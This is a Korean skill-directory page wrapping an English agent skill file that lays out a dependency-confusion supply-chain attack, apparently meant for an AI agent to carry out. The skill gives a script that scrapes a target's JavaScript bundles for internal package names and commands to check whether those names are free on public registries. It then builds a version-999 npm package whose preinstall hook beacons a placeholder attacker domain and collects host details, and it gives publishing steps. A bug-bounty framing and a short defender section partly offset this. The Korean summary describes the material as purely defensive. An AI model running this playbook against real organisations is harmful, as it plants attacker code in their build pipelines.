본문으로 건너뛰기
Skillpedia
보안6.5k · #14046

dep-confusion

하는 일

이 안내서는 빌드 시스템이 같은 이름의 비공개 패키지 대신 공개 패키지를 가져오는 공급망 약점인 의존성 혼동을 다룹니다. 비공개 패키지 레지스트리를 관리하는 보안 팀을 위한 가이드입니다.

사용하는 경우

  • ✓회사가 내부 패키지 이름을 쓰면서 공개 레지스트리에서도 설치할 때.
  • ✓내부 이름이 공개 레지스트리에 주인 없이 존재하는지 확인하고 싶을 때.
  • ✓빌드 시스템이 공개 레지스트리와 비공개 레지스트리를 모두 검색하도록 설정된 경우.

스킬 링크

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/supplychain/dep-confusion/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/supplychain/dep-confusion/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“우리 빌드는 내부 npm 패키지를 씁니다. 그 이름 중 공개 레지스트리에서 아직 비어 있는 것이 있는지 확인해 주시겠어요?”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

에이전트는 공개 파일에서 내부 패키지 이름을 찾고, 각 이름이 공개 레지스트리에 있는지 확인한 뒤, 등록하거나 고정해야 할 이름을 보고합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

Dependency Confusion (Alex Birsan 2021)

When an org uses internal private packages (e.g. @target-internal/utils) AND a build system that searches BOTH public + private registries, an attacker can publish a public package w/ the same name at higher version. Default resolvers pick highest version → public package runs in CI.

1. Reconnaissance — find internal package names

Source Pattern
package.json in public repo "@target/foo" scoped packages
package.json exfiltrated from web (/static/) dependency lists
Webpack bundles leaked package.json strings
requirements.txt / Pipfile exposure target-internal-lib
pom.xml / build.gradle <groupId>com.target</groupId>
Github org code search @scope patterns in user/org-owned repos (sometimes accidentally public)
Stack Overflow / Stack Exchange engineers asking about internal libs
Sourcegraph public index broad search across exposed orgs
# Pull all JS bundle URLs from a target
curl -s "$TARGET" | grep -oP 'src="[^"]*\.js"' | sort -u | while read js; do
  curl -s "$TARGET$js" | grep -oE '@[a-z0-9_-]+/[a-z0-9_-]+'
done | sort -u

2. Verify the package is private

# Check npm public
npm view @target/internal-utils 2>&1 | grep -E 'E404|not in this registry'
# E404 = name available publicly → confusion candidate

# PyPI
pip index versions target-internal-utils
# "ERROR: No matching distribution" = name available

# Maven Central via search
curl -s "https://search.maven.org/solrsearch/select?q=g:com.target+AND+a:internal-lib" | jq

If the name is taken publicly already, confusion path closed (unless you can take it over — check abandoned packages w/ no maintainer email).

3. Build the malicious package

mkdir attack-pkg && cd attack-pkg

# package.json
cat > package.json <<'EOF'
{
  "name": "@target/internal-utils",
  "version": "999.0.0",
  "description": "auth-research only",
  "scripts": {
    "preinstall": "node beacon.js"
  }
}
EOF

# beacon.js — DO NOT execute payload, just confirm install
cat > beacon.js <<'EOF'
const https = require('https');
const os = require('os');
const dns = require('dns');

// Resolve attacker-controlled subdomain to confirm execution
// Use Burp Collaborator / interactsh / your own DNS server
const subdomain = require('crypto').randomBytes(8).toString('hex');
dns.lookup(`${subdomain}.YOUR_INTERACT_DOMAIN`, () => {});

// Also collect basic env w/o exfil (just locally print for testing)
console.log({
  hostname: os.hostname(),
  user: os.userInfo().username,
  platform: os.platform(),
  hostname_dns: dns.getServers(),
});
EOF

4. Publish

npm publish --access public
# For org scopes, may need to register the @scope first

5. Wait + observe

Within hours-days, target's CI will pull 999.0.0. Burp Collaborator shows DNS hits.

6. Programs that PAY for this

  • Microsoft, Apple, PayPal, Tesla, Yelp, Uber, Shopify, Netflix, Yahoo paid out $30k-$130k EACH to Alex Birsan in the original 2021 campaign
  • Many BB programs explicitly accept dep-confusion reports under their "supply chain" scope
  • Bugcrowd has a "Source Code Disclosure / Supply Chain" reward tier

7. PoC framing (for the report)

DO NOT:

  • Run any actual exploit logic
  • Exfiltrate any data
  • Steal credentials
  • Disable security

DO:

  • Generate a benign DNS callback (interactsh / Burp Collaborator)
  • Capture the timestamp + source IP from your callback log
  • Document the package as "research-only", deprecate it via npm immediately after PoC
  • Provide cleanup notes: "package @target/internal-utils@999.0.0 published 2026-XX-XX, deprecated 2026-XX-XX, no functional payload"

8. Severity

Bug Severity
Confirmed install on production build infra Critical 10.0
Confirmed install on staging/dev Critical 9.0
Internal package name exposed but no public install attempt High (depends on data)

9. Defender

  • Block public-registry fallback for scoped packages: .npmrc @target:registry=https://internal-npm.target.com/
  • Use lockfiles + integrity hashes (package-lock.json w/ integrity field)
  • For PyPI: pip install --index-url internal-pypi/ --extra-index-url public-pypi/ is BACKWARDS — use --index-url internal-pypi/ --no-index and explicitly allowlist public packages
  • Reserve internal namespace prefixes on public registries before they're used internally
  • npm: use the @org scope and publ
자주 묻는 질문

왜 이런 일이 생기나요?

많은 패키지 도구가 출처와 상관없이 사용 가능한 가장 높은 버전을 고르기 때문입니다.

이름은 어떻게 확인하나요?

공개 레지스트리에서 찾아보아 존재하는지 확인합니다.

해결책은 무엇인가요?

공개 레지스트리에 이름을 등록하거나, 그 이름의 유일한 출처로 비공개 레지스트리를 고정합니다.

상세 정보

작성자의 원본 설명

Dependency confusion — publish a higher-version internal package name on public registry (npm/PyPI/Maven/Crates) to coerce CI/CD into pulling attacker code.

repo: BitterSecurity/Decepticon

인기도

GitHub 스타
6.5k
순위
#14046
라이선스
Apache-2.0
업데이트
2026. 11. 1.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬